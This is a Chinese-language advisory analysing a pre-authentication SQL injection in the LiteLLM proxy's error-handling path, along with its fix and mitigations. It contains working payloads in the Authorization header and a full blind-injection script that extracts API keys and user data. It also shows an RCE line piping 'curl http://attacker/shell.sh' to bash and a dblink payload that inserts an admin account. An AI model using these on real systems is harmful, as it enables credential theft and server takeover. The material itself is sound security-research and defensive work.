一、漏洞概述

1.1 基本信息

项目 详情
CVE 编号 CVE-2026-42208
GHSA 编号 GHSA-r75f-5x8p-qvmc
CWE 分类 CWE-89(SQL 命令中特殊元素的不当中和)
CVSS 3.0 评分 9.8(极危)
CVSS 4.0 评分 9.3(Critical)
受影响版本 1.81.16 ≤ LiteLLM < 1.83.7
修复版本 LiteLLM ≥ 1.83.7
漏洞类型 预认证 SQL 注入(Pre-Authentication SQL Injection)
注入机制 Python f-string 字符串拼接
披露时间 2026 年 7 月 1 日(网宿安全演武实验室分析)
PoC 状态 已在互联网公开

1.2 漏洞背景

LiteLLM 是一个开源的大语言模型代理网关(GitHub 46.5k+ Stars),支持统一接口调用 OpenAI、Anthropic、Azure 等 100+ LLM 提供商。其 Proxy 模式使用 PostgreSQL 数据库存储 API Key、团队配置、预算限额及所有上游 LLM 提供商凭据等高度敏感数据。

CVE-2026-42208 存在于 LiteLLM Proxy 的 API Key 认证流程中。攻击者无需任何有效凭据,仅通过在 Authorization 请求头中发送精心构造的 SQL 注入 payload,即可触发注入,读取甚至篡改代理数据库中的全部数据——包括所有 LLM 提供商的 API Key。由于该漏洞位于认证流程本身,因此攻击发生时目标尚未通过认证,属于典型的预认证(Pre-Auth)漏洞,攻击面极大。

1.3 核心危害

  • 零凭据利用:无需任何有效 Token 即可触发
  • 全量凭据泄露:可读取数据库中存储的所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商)
  • 用户数据泄露:可提取用户认证 Token、对话消费日志、团队配置
  • 潜在 RCE:在特定 PostgreSQL 配置下可升级至远程代码执行

二、LiteLLM Proxy 架构基础

2.1 统一 LLM 代理网关定位

LiteLLM Proxy 作为企业内部所有 LLM 请求的统一入口,其核心职责包括:

  1. 统一接口:将 100+ LLM 提供商的异构 API 统一为 OpenAI 兼容格式
  2. 认证授权:验证调用方身份,管理虚拟 API Key(sk- 前缀)
  3. 请求路由:根据模型名称路由到对应的上游 LLM 提供商
  4. 凭据管理:在数据库中集中存储所有上游提供商的真实 API Key
  5. 预算与计费:跟踪 Token 消费、团队预算限额

2.2 架构图

                          ┌─────────────────────────────────────────────────┐
                          │            LiteLLM Proxy (FastAPI)              │
                          │                                                 │
   HTTP 请求               │  ┌──────────┐  ┌──────────┐  ┌──────────────┐  │
 ┌──────────────┐          │  │ 认证中间件 │→│ 路由引擎  │→│ 上游请求转发  │  │
 │ POST         │          │  │ API Key  │  │ Model    │  │ Provider     │  │
 │ /v1/chat/    │─────────▶│  │ 验证     │  │ Mapping  │  │ Adapter      │  │
 │ completions  │          │  └────┬─────┘  └──────────┘  └──────┬───────┘  │
 │              │          │       │                              │          │
 │ Bearer sk-xx │          │       │ SHA256 哈希                   │ API Key  │
 └──────────────┘          │       ▼                              │ 注入     │
                          │  ┌─────────────────────────────┐     │          │
                          │  │   PostgreSQL 数据库          │     │          │
                          │  │  ┌───────────────────────┐  │     │          │
                          │  │  │ LiteLLM_Verification  │  │     │          │
                          │  │  │ Token (用户Token)      │  │     │          │
                          │  │  ├───────────────────────┤  │     │          │
                          │  │  │ LiteLLM_TeamTable     │  │     │          │
                          │  │  │ (团队配置/预算)        │  │     │          │
                          │  │  ├───────────────────────┤  │     │          │
                          │  │  │ 上游提供商 API Key     │  │─────┘          │
                          │  │  │ (OpenAI/Anthropic...) │  │                │
                          │  │  └───────────────────────┘  │                │
                          │  └─────────────────────────────┘                │
                          └─────────────────────────────────────────────────┘
                                              │
                                              ▼
                          ┌─────────────────────────────────────┐
                          │     上游 LLM 提供商 API 集群          │
                          │  OpenAI | Anthropic | Azure | Gemini │
                          └─────────────────────────────────────┘

2.3 认证流程概述

LiteLLM Proxy 启用 API Key 认证后,所有 LLM API 路由(如 /chat/completions、/v1/chat/completions)都需要在请求头中携带 Authorization: Bearer sk-xxx 格式的 Token。认证的核心逻辑是:将用户提交的明文 Token 进行 SHA256 哈希后,用哈希值在数据库中查询匹配记录。

2.4 关键数据表

数据表 存储内容 敏感程度
LiteLLM_VerificationToken 用户虚拟 API Key(SHA256 哈希存储)、预算、TPM/RPM 限制 极高
LiteLLM_TeamTable 团队配置、团队级预算、模型权限 高
LiteLLM_UserTable 用户邮箱、密码哈希、角色 极高
上游 Provider Credentials OpenAI/Anthropic/Azure 等真实 API Key 极高
LiteLLM_SpendLogs Token 消费日志、提示词使用记录 中

三、漏洞根因深度分析

3.1 正常认证路径(安全)

当用户使用合法的 sk- 前缀 Token 时,认证流程是安全的:

litellm/proxy/auth/user_api_key_auth.py
    → _get_bearer_token_or_received_api_key()    # 提取 Bearer Token
    → assert api_key.startswith("sk-")           # 断言 sk- 前缀
    → hash_token(api_key)                        # SHA256 哈希

litellm/proxy/auth/auth_checks.py
    → get_key_object(hashed_token=hash_token(api_key))
    → _fetch_key_object_from_db_with_reconnect()
    → prisma_client.get_data(token=hashed_token, table_name="combined_view")

安全原因:SHA256 哈希输出仅为 [0-9a-f] 字符,完全不含 SQL 元字符(如单引号 '、分号 ;),因此即使底层使用字符串拼接,也无法构造 SQL 注入 payload。

# 安全路径示例
import hashlib

api_key = "sk-xxxxxxxxxxxxxxxxxxxx"
hashed_token = hashlib.sha256(api_key.encode()).hexdigest()
# hashed_token = "a1b2c3d4e5f6..."  仅含 0-9a-f,无注入风险

# 正常路径下使用 Prisma ORM 参数化查询
# prisma_client.get_data(token=hashed_token)  -- 安全

3.2 漏洞路径(认证失败回调)

漏洞并非存在于主认证流程,而是隐藏在认证失败的错误处理回调路径中。当发送的 Token 不以 sk- 开头时(例如攻击者构造以单引号 ' 开头的 payload),断言失败,程序进入异常处理回调链:

HTTP 请求: Authorization: Bearer <恶意payload>

1. litellm/proxy/auth/user_api_key_auth.py
   → _get_bearer_token_or_received_api_key()     # 提取 Bearer Token
   → assert api_key.startswith("sk-")            # 断言失败!(payload 以 ' 开头)

2. litellm/proxy/auth/user_api_key_auth.py
   → UserAPIKeyAuthExceptionHandler._handle_authentication_error(api_key=api_key)
   # 原始 payload 作为 api_key 传入错误处理器

3. litellm/proxy/auth/auth_exception_handler.py
   → post_call_failure_hook(user_api_key_dict=UserAPIKeyAuth(api_key=api_key))
   # 原始 payload 被封装进 user_api_key_dict

4. litellm/proxy/utils.py
   → post_call_failure_hook()                     # 错误回调链入口
   → [回调链] 再次调用 get_key_object(hashed_token=RAW_PAYLOAD)
   # 注意:此处传入的是原始未哈希的 payload!

5. litellm/proxy/auth/auth_checks.py
   → get_key_object()
   → _fetch_key_object_from_db_with_reconnect()
   → prisma_client.get_data(token=RAW_PAYLOAD, table_name="combined_view")

3.3 关键函数 _hash_token_if_needed()(漏洞核心开关)

这是整个漏洞的核心开关函数,位于 litellm/proxy/utils.py:

def _hash_token_if_needed(token: str) -> str:
    """
    Hash the token if it's a string and starts with "sk-"
    Else return the token as is
    """
    if token.startswith("sk-"):
        return hash_token(token=token)
    else:
        return token  # ← 非 sk- 开头的 token 原样返回,不做任何处理!

设计意图:该函数的本意是兼容已经哈希过的 token(SHA256 hex 字符串不以 sk- 开头)。在错误处理回调链中,get_key_object() 可能接收到已经哈希过的 token,因此需要判断是否需要再次哈希。

致命缺陷:这个条件分支同时让攻击者构造的恶意输入畅通无阻地流入后续的 f-string SQL 拼接。攻击者只需确保 payload 不以 sk- 开头(例如以单引号 ' 开头),即可绕过哈希处理,原样注入到 SQL 查询中。

3.4 f-string 拼接注入点

最终注入点位于 litellm/proxy/utils.py 的 get_data() 函数中。为了构建一个包含用户 Token、团队、项目、组织、预算限额等信息的"组合视图"(combined_view),开发者由于所需 LEFT JOIN 操作的复杂性,选择使用 db.query_raw 原始 SQL 而非 ORM 标准函数:

# 漏洞代码(litellm/proxy/utils.py - get_data())

elif table_name == "combined_view":
    if query_type == "find_unique":
        # 使用 f-string 直接拼接 token 到 SQL 语句中
        sql_query = f"""
            SELECT
                v.*,
                t.spend AS team_spend,
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models,
                -- [多个其他 SELECT 字段和 JOIN 操作]
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            -- [其他 LEFT JOIN...]
            WHERE v.token = '{token}'        # ← f-string 拼接,token 未经哈希!
        """

        # 直接执行拼接后的 SQL
        response = await self._query_first_with_cached_plan_fallback(sql_query)

注入原理:通过 Python f-string(f"""...WHERE v.token = '{token}'"""),{token} 变量被直接拼接进 SQL 语句文本。由于没有使用参数化绑定(如 $1 占位符),任何包含单引号(')的用户可控字符串都能突破 SQL 字符串字面量边界,导致 SQL 注入。

3.5 漏洞触发时的实际执行 SQL

当攻击者发送 Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL -- 时:

-- 数据库实际执行的 SQL:
SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
--                                  ↑ 攻击者 payload 突破引号边界    ↑ 注释掉尾部引号

3.6 根本原因总结

根因 描述 缺陷类型
哈希保护被绕过 _hash_token_if_needed() 对非 sk- 前缀的 token 原样返回 安全检查仅在主路径
f-string 拼接 SQL get_data() 使用 f-string 拼接而非参数化查询 CWE-89 SQL 注入
错误处理路径不安全 认证失败回调链再次调用 get_key_object(),绕过了主路径的哈希保护 异常处理路径安全缺陷
输入未校验 Bearer Token 格式未做严格校验(未强制要求 sk- 前缀即拒绝) 输入验证缺失

核心教训:这是一个典型的"安全检查仅在主路径"设计缺陷。开发者认为 SHA256 哈希已经保证了安全,却忽略了认证失败回调路径会绕过哈希直接使用原始输入。


四、完整污点传播链

4.1 污点流向 ASCII 图

┌─────────────────────────────────────────────────────────────────────────┐
│                         HTTP 请求入口                                    │
│  Authorization: Bearer '<SQL_PAYLOAD>                                    │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [1] _get_bearer_token_or_received_api_key()                             │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 从 Authorization 头提取 Bearer Token                          │
│      污点状态: 原始 payload 完整保留                                      │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [2] assert api_key.startswith("sk-")                                    │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 断言失败(payload 以 ' 开头,不满足 sk- 前缀)                  │
│      关键转折: 断言失败 → 触发 AssertionError → 进入异常处理              │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ AssertionError
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [3] UserAPIKeyAuthExceptionHandler._handle_authentication_error()       │
│      文件: litellm/proxy/auth/user_api_key_auth.py                      │
│      动作: 捕获异常,原始 payload 作为 api_key 参数传入                   │
│      污点状态: 原始 payload 仍完整保留,未做任何过滤                       │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [4] post_call_failure_hook()                                            │
│      文件: litellm/proxy/auth/auth_exception_handler.py                 │
│      动作: 原始 payload 封装进 UserAPIKeyAuth(api_key=payload) 对象       │
│      触发: 注册的失败回调钩子被依次执行                                    │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 回调链
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [5] get_key_object(hashed_token=RAW_PAYLOAD)                            │
│      文件: litellm/proxy/utils.py → post_call_failure_hook()             │
│      动作: 回调链中再次调用 get_key_object,传入的是原始 payload          │
│      ⚠ 关键:此处绕过了主路径的 hash_token() 调用                         │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [6] _fetch_key_object_from_db_with_reconnect()                          │
│      文件: litellm/proxy/auth/auth_checks.py                            │
│      动作: 调用 prisma_client.get_data(token=RAW_PAYLOAD)               │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [7] get_data() → _hash_token_if_needed(token)                           │
│      文件: litellm/proxy/utils.py                                       │
│      动作: 检查 token 是否以 "sk-" 开头                                   │
│      结果: payload 以 ' 开头 → 条件不满足 → 原样返回 token               │
│      ⚠ 哈希保护被完全绕过!                                               │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 原始 payload
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [8] sql_query = f"""...WHERE v.token = '{token}'"""                     │
│      文件: litellm/proxy/utils.py - get_data()                          │
│      动作: 原始 payload 通过 f-string 拼接进 SQL 语句                    │
│      污点状态: SQL 语句文本被污染                                         │
└──────────────────────────────┬──────────────────────────────────────────┘
                               │ 拼接后的 SQL
                               ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  [9] _query_first_with_cached_plan_fallback(sql_query)                   │
│      → self.db.query_first(query=sql_query)                              │
│      动作: 直接执行被污染的 SQL 语句                                      │
│      结果: ★ SQL 注入完成!★                                            │
└─────────────────────────────────────────────────────────────────────────┘

4.2 关键环节详解

4.2.1 断言失败如何进入回调链

在 user_api_key_auth.py 中,主认证流程使用 assert api_key.startswith("sk-") 进行前缀校验。当 payload 以单引号 ' 开头时,该断言抛出 AssertionError。该异常被 UserAPIKeyAuthExceptionHandler 捕获,调用 _handle_authentication_error(api_key=api_key),其中 api_key 参数携带的是未经任何处理的原始 payload。

4.2.2 回调链如何再次调用 get_key_object

在错误处理流程中,post_call_failure_hook() 会被触发。LiteLLM 的设计允许在认证失败时执行自定义回调钩子,这些钩子会尝试通过 get_key_object() 查询数据库以获取更多信息用于错误日志记录或审计。这个看似无害的"再次查询"操作,正是将原始 payload 传递到数据库层的桥梁。

4.2.3 _hash_token_if_needed() 的条件分支逻辑

def _hash_token_if_needed(token: str) -> str:
    if token.startswith("sk-"):
        return hash_token(token=token)   # 路径A:哈希处理(安全)
    else:
        return token                     # 路径B:原样返回(漏洞!)

该函数存在两条路径:

  • 路径 A(安全):token 以 sk- 开头 → SHA256 哈希 → 输出仅含 [0-9a-f]
  • 路径 B(漏洞):token 不以 sk- 开头 → 原样返回 → 保留所有 SQL 元字符

攻击者的 payload 以 ' 开头,必然走路径 B。

4.2.4 f-string 拼接的注入原理

# Python f-string 在运行时将变量值直接插入字符串文本
token = "' OR 1=1--"
sql_query = f"SELECT * FROM keys WHERE v.token = '{token}'"
# 结果: "SELECT * FROM keys WHERE v.token = '' OR 1=1--'"
#                                    ↑ 闭合前引号    ↑ 注入条件  ↑ 注释后引号

f-string 是 Python 3.6+ 的字符串格式化语法,它在运行时将 {token} 替换为变量的字符串值。这与参数化查询有本质区别:参数化查询中,参数值永远不会被解析为 SQL 语法的一部分,而 f-string 拼接后,变量值已经成为 SQL 语句文本的一部分,会被数据库引擎完整解析。


五、PoC 复现

5.1 环境搭建

使用 Docker Compose 部署受影响版本的 LiteLLM 及 PostgreSQL 后端:

# docker-compose.yml
services:
  db:
    image: postgres:16
    environment:
      POSTGRES_USER: llmproxy
      POSTGRES_PASSWORD: dbpassword9090
      POSTGRES_DB: litellm
    ports:
      - "5432:5432"

  litellm:
    image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
    ports:
      - "4000:4000"
    environment:
      - DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
    depends_on:
      - db
    command: ["--config", "/app/config.yaml"]
# 启动环境
docker compose up -d

# 验证服务可用
curl http://127.0.0.1:4000/health/readiness

5.2 攻击请求构造

5.2.1 时间盲注验证(确认注入点)

POST /v1/chat/completions HTTP/1.1
Host: 127.0.0.1:4000
Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL --
Content-Type: application/json

{"model": "fake", "messages": [{"role": "user", "content": "test"}]}

数据库实际执行:

WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'

当服务器响应延迟约 3 秒时,确认注入点存在。

5.2.2 UNION 注入提取数据

POST /v1/chat/completions HTTP/1.1
Host: target:4000
Authorization: Bearer ' UNION SELECT api_key,1,1,1,1,1,1,1,1,1 FROM litellm_keys--
Content-Type: application/json

{"model": "gpt-4", "messages": [{"role": "user", "content": "test"}]}

5.3 攻击变体

5.3.1 时间盲注(Time-Based Blind)

由于注入查询最终返回的 Token 对象无法通过认证(返回 401 Unauthorized),攻击者无法直接从 HTTP 响应中读取数据库输出,必须依赖布尔盲注 + 时间侧信道:

# 时间盲注 payload:逐字符提取数据
payload = "' OR (ASCII(SUBSTRING((SELECT token FROM \"LiteLLM_VerificationToken\" LIMIT 1), 1, 1)) > 64 AND (SELECT pg_sleep(2)) IS NOT NULL) --"

5.3.2 二分搜索数据提取 PoC

以下是完整的盲注数据提取脚本,使用二分搜索算法逐字符提取任意表中的数据:

import argparse
import json
import sys
import time
import urllib.request


def test_payload(url, token, sleep_time):
    """发送注入 payload 并测量响应时间"""
    body = json.dumps({
        "model": "fake",
        "messages": [{"role": "user", "content": "x"}]
    }).encode()
    req = urllib.request.Request(
        url, data=body, method="POST",
        headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    )
    start = time.time()
    try:
        urllib.request.urlopen(req, timeout=sleep_time + 1)
    except Exception:
        pass
    return time.time() - start


def extract_string(url, query, sleep_time=1.0):
    """使用二分搜索逐字符提取查询结果"""
    extracted = ""
    idx = 1
    while True:
        # 检查字符串是否已结束
        check_end = (
            f"' OR (LENGTH(({query})) < {idx} "
            f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
        )
        if test_payload(url, check_end, sleep_time) >= sleep_time:
            break

        # 二分搜索当前字符的 ASCII 值
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = (
                f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} "
                f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
            )
            if test_payload(url, payload, sleep_time) >= sleep_time:
                low = mid + 1
            else:
                high = mid - 1

        extracted += chr(low)
        sys.stdout.write(chr(low))
        sys.stdout.flush()
        idx += 1
    print()
    return extracted


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
    parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
    parser.add_argument("--table", default="LiteLLM_VerificationToken",
                        help="Target table to extract from")
    parser.add_argument("--column", default="token", help="Column to extract")
    parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
    args = parser.parse_args()

    query = f'SELECT {args.column} FROM "{args.table}" LIMIT 1 OFFSET {args.row}'
    print(f"[*] Extracting: {query}")
    extract_string(args.url, query)
# 提取用户邮箱
python exploit.py --table LiteLLM_UserTable --column user_email --row 0

# 提取 API Key
python exploit.py --table LiteLLM_VerificationToken --column token --row 0

5.3.3 布尔盲注

通过认证成功(200)/ 失败(401)的 HTTP 状态码差异作为布尔判据:

# 布尔盲注 payload
payload_true  = "' OR (1=1) --"       # 条件为真 → 可能返回不同错误
payload_false = "' OR (1=2) --"       # 条件为假 → 认证失败

5.3.4 PostgreSQL 特性利用

利用方式 Payload 示例 说明
时间延迟 ' OR (SELECT pg_sleep(5)) IS NULL -- 强制延迟 5 秒
字符串截取 SUBSTRING((SELECT ...), pos, 1) 逐字符提取
ASCII 比较 ASCII(SUBSTRING(...)) > N 二分搜索字符值
长度判断 LENGTH((SELECT ...)) < N 判断字符串长度

5.4 验证方法

  1. 响应延迟验证:发送 pg_sleep(3) payload,观察响应时间是否延迟约 3 秒
  2. 数据提取验证:使用二分搜索脚本提取已知数据(如测试时插入的邮箱),比对结果
  3. 日志审计验证:检查 LiteLLM_SpendLogs 表中是否记录了原始 payload(LiteLLM 会将无效 Key 的原始值记入消费日志)

六、危害分析

6.1 直接危害

  • 读取代理数据库全部数据:通过盲注可逐字符提取任意表、任意列的数据
  • 窃取全部 LLM 提供商 API Key:OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商的凭据被窃取
  • 窃取用户认证 Token:LiteLLM_VerificationToken 表中的哈希 Token 被提取
  • 窃取用户敏感信息:LiteLLM_UserTable 中的邮箱、密码哈希、角色信息
  • 篡改数据库内容:在特定配置下可执行 INSERT/UPDATE 操作

6.2 间接危害

  • API Key 滥用产生巨额费用:使用窃取的上游 API Key 直接调用 LLM 提供商,绕过 LiteLLM 的预算控制
  • 访问其他用户对话历史:LiteLLM_SpendLogs 表记录了详细的提示词使用记录
  • 请求路由劫持:篡改路由配置,将 LLM 请求重定向到攻击者控制的服务器
  • 管理员接管:通过 dblink 绕过 ORM 限制插入管理员账户,接管 LiteLLM Dashboard

6.3 高级利用:从数据泄露到 RCE

6.3.1 COPY TO PROGRAM 实现 RCE

当 PostgreSQL 以 superuser(如 postgres)运行时,攻击者可利用 COPY TO PROGRAM 实现远程代码执行:

' OR (SELECT COPY (SELECT 'id') TO PROGRAM 'curl http://attacker/shell.sh|bash') IS NOT NULL) --

或使用 pg_read_file() 读取服务器敏感文件(SSH 密钥、环境变量)。

Prisma ORM 驱动会阻止堆叠查询(; 分隔的多语句),但若 PostgreSQL 启用了 dblink 扩展,攻击者可在 SELECT 语句中注入 dblink_exec() 打开独立连接执行写操作:

' OR (SELECT dblink_exec(
    'dbname=litellm',
    'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role)
     VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'')'
)) IS NOT NULL --

这将一个只读数据泄露漏洞升级为完整的管理员接管。

6.4 影响范围表

危害等级 影响范围 具体后果 利用难度
极危 LLM API Key 泄露 100+ 提供商凭据被窃取,可直接调用上游 API 低(盲注即可)
极危 用户凭据泄露 Token 哈希、密码哈希被提取,可冒充用户 低
高危 消费日志泄露 对话提示词、Token 使用记录被读取 低
高危 管理员接管 通过 dblink 插入管理员账户,接管 Dashboard 中(需 dblink)
高危 远程代码执行 通过 COPY TO PROGRAM 在数据库服务器执行命令 中(需 superuser)
中危 配置篡改 请求路由劫持、模型映射篡改 中
低危 审计日志破坏 SpendLogs 数据被篡改或清除 中

七、修复方案与防御

7.1 官方修复

升级至 LiteLLM ≥ 1.83.7。核心改动是将 f-string 拼接替换为参数化查询:

# 修复后代码(LiteLLM 1.83.7+)
# litellm/proxy/utils.py - get_data()

elif table_name == "combined_view":
    if query_type == "find_unique":
        # 使用参数化绑定 $1,而非 f-string 拼接
        sql_query = """
            SELECT
                v.*,
                t.spend AS team_spend,
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            WHERE v.token = $1                    -- ← 参数化占位符
        """
        # token 作为绑定参数传入,而非拼入 SQL 文本
        response = await self._query_first_with_cached_plan_fallback(
            sql_query, token                      -- ← 参数化绑定
        )

7.2 修复原理分析

┌─────────────────────────────────────────────────────────────────────┐
│                     修复前后对比                                      │
├──────────────────────┬──────────────────────────────────────────────┤
│     修复前(漏洞)     │            修复后(安全)                      │
├──────────────────────┼──────────────────────────────────────────────┤
│ f"""...WHERE         │ """...WHERE                                  │
│ v.token='{token}'""" │ v.token = $1"""                              │
│                      │                                              │
│ token 值成为 SQL      │ token 值作为绑定参数传递                        │
│ 文本的一部分          │ 数据库驱动将其视为纯字符串字面量                │
│                      │                                              │
│ 单引号可突破边界      │ 单引号被自动转义/隔离                          │
│ → SQL 注入           │ → 无法注入                                   │
└──────────────────────┴──────────────────────────────────────────────┘

即使 _hash_token_if_needed() 仍对非 sk- 前缀的 token 原样返回,参数化查询由 PostgreSQL 驱动安全处理,攻击者的 payload 永远不会被解析为 SQL 语法,彻底消除注入风险。

7.3 临时缓解措施

若无法立即升级,可设置 disable_error_logs: true 切断攻击路径:

# litellm_config.yaml
general_settings:
  disable_error_logs: true    # 禁用错误处理路径,移除未认证输入到达漏洞查询的路径

该配置移除了错误处理回调路径(即漏洞触发的路径),使未认证输入无法到达 get_data() 中的漏洞 SQL 查询,从而中和攻击向量。

7.4 WAF 防护

网宿全站防护-WAF 已支持对该漏洞利用攻击的防护,防护策略包括:

  • 拦截 Authorization 头中的 SQL 关键字(UNION、SELECT、pg_sleep、OR、-- 等)
  • 检测异常长的 Bearer Token(正常 Token 为固定长度的哈希值或 sk- 前缀字符串)
  • 检测 Bearer Token 中的 SQL 元字符(单引号、分号、注释符)

7.5 凭据轮换

若已部署受影响版本,即使已升级,也应执行以下操作:

  1. 立即轮换所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure 等)
  2. 轮换 LiteLLM 虚拟 API Key(所有 sk- 前缀的用户 Token)
  3. 检查数据库访问日志中的异常查询(pg_sleep、SUBSTRING、dblink 等)
  4. 审计 LiteLLM_SpendLogs 中 api_key 字段是否出现原始 SQL payload

7.6 深度防御建议

防御层 措施 说明
代码层 所有数据库操作使用参数化查询 ORM 或原生参数绑定($1),禁止 f-string/%/+ 拼接 SQL
输入层 Bearer Token 格式校验 强制 sk- 前缀,非匹配格式直接拒绝(400 Bad Request)
架构层 错误处理路径安全审计 异常回调链需与主路径同等安全,不应传递未过滤输入
存储层 API Key 加密存储 上游提供商凭据应加密存储,非明文
数据库层 最小权限原则 数据库用户禁止 superuser,禁用 COPY、dblink 等危险功能
监控层 异常查询检测 监控 pg_sleep、SUBSTRING、UNION 等注入特征

八、LLM 基础设施安全启示

8.1 LLM 代理网关的攻击面

LLM 代理网关作为所有 LLM 请求的中枢节点,是高价值攻击目标:

┌───────────────────────────────────────────────────────────┐
│              LLM 代理网关攻击面全景                         │
├───────────────┬───────────────────────────────────────────┤
│   攻击向量     │                  风险                      │
├───────────────┼───────────────────────────────────────────┤
│ 认证机制       │ 预认证漏洞 → 无凭据访问(本 CVE)           │
│ 凭据存储       │ API Key 集中存储 → 单点泄露全量凭据          │
│ 请求路由       │ 路由篡改 → 请求劫持到恶意 LLM               │
│ 预算/计费      │ 计费绕过 → 免费使用上游 API                 │
│ Prompt 处理    │ Prompt 注入 → 间接攻击上游模型              │
│ 日志记录       │ 对话历史泄露 → 隐私违规                     │
│ 插件/MCP 集成  │ 插件漏洞 → 横向移动                         │
└───────────────┴───────────────────────────────────────────┘

LLM 代理网关集中存储所有上游提供商凭据、管理用户认证、控制请求路由,一旦被攻破,影响范围远超单个应用漏洞——它意味着企业整个 AI 基础设施的沦陷。

8.2 f-string 拼接 vs 参数化查询

Python 中使用 f-string 拼接 SQL 是常见的安全反模式:

对比项 f-string 拼接(危险) 参数化查询(安全)
语法 f"WHERE v = '{token}'" "WHERE v = $1" + params=[token]
原理 变量值成为 SQL 文本的一部分 变量值作为独立参数传递给驱动
单引号处理 破坏字符串边界 → 注入 自动转义/隔离 → 安全
性能 每次生成不同 SQL → 无法缓存执行计划 相同 SQL 结构 → 可缓存执行计划
审计 难以区分用户输入与 SQL 结构 参数与 SQL 结构明确分离
ORM 兼容 绕过 ORM 安全机制 与 ORM 参数绑定一致
# ❌ 危险:f-string 拼接
sql = f"SELECT * FROM users WHERE id = '{user_input}'"
cursor.execute(sql)

# ❌ 危险:% 格式化
sql = "SELECT * FROM users WHERE id = '%s'" % user_input
cursor.execute(sql)

# ❌ 危险:+ 拼接
sql = "SELECT * FROM users WHERE id = '" + user_input + "'"
cursor.execute(sql)

# ✅ 安全:参数化查询
sql = "SELECT * FROM users WHERE id = $1"
cursor.execute(sql, (user_input,))

# ✅ 安全:ORM 参数绑定
User.objects.filter(id=user_input)

8.3 错误处理路径安全

"安全检查仅在主路径"是本次漏洞最深刻的设计教训:

┌──────────────────────────────────────────────────────────────┐
│           主路径 vs 错误处理路径安全模型                        │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│   用户输入                                                    │
│      │                                                       │
│      ├──▶ [主路径] ──▶ 安全检查 ──▶ 哈希/过滤 ──▶ 数据库     │
│      │              ✅ 安全                                    │
│      │                                                       │
│      └──▶ [错误处理路径] ──▶ 异常回调 ──▶ 数据库              │
│                         ⚠ 缺少同等安全检查!                   │
│                         (本 CVE 的核心问题)                  │
│                                                              │
└──────────────────────────────────────────────────────────────┘

安全代码审计清单

8.4 与其他 LLM 基础设施漏洞对比

维度 LiteLLM CVE-2026-42208 SiYuan CVE-2026-66012 传统 Web SQLi
漏洞类型 预认证 SQL 注入 MCP 接口缺失授权 SQL 注入
根因 f-string 拼接 + 错误路径绕过 接口未鉴权 字符串拼接
认证要求 无需认证(预认证) 无需认证 视场景而定
影响资产 LLM 提供商 API Key 知识库/管理员权限 业务数据
CVSS 9.8 高危 视场景而定
利用难度 低(盲注即可) 低(直接访问接口) 中
危害特征 凭据全量泄露 + 潜在 RCE 数据泄露 + RCE 数据泄露
修复方式 参数化查询 添加授权校验 参数化查询
启示 错误路径安全 + 参数化 接口默认拒绝 参数化查询

8.5 总结

CVE-2026-42208 是一个极具教育意义的漏洞,它完美展示了三个安全原则被违反后的灾难性后果:

  1. 参数化查询是不可妥协的底线:无论输入是否经过哈希/过滤,数据库操作都必须使用参数化查询。f-string 拼接 SQL 是 Python 中最常见的安全反模式之一。

  2. 安全检查必须覆盖所有路径:主路径的 SHA256 哈希保护看似完善,但错误处理回调路径的绕过使一切防护形同虚设。异常处理路径必须与主路径接受同等强度的安全审查。

  3. LLM 基础设施是高价值攻击目标:LLM 代理网关集中存储所有上游提供商凭据,一旦被攻破等同于企业整个 AI 基础设施沦陷。在 AI 快速发展的当下,LLM 基础设施的安全应当获得与传统核心基础设施同等的重视程度。


参考资料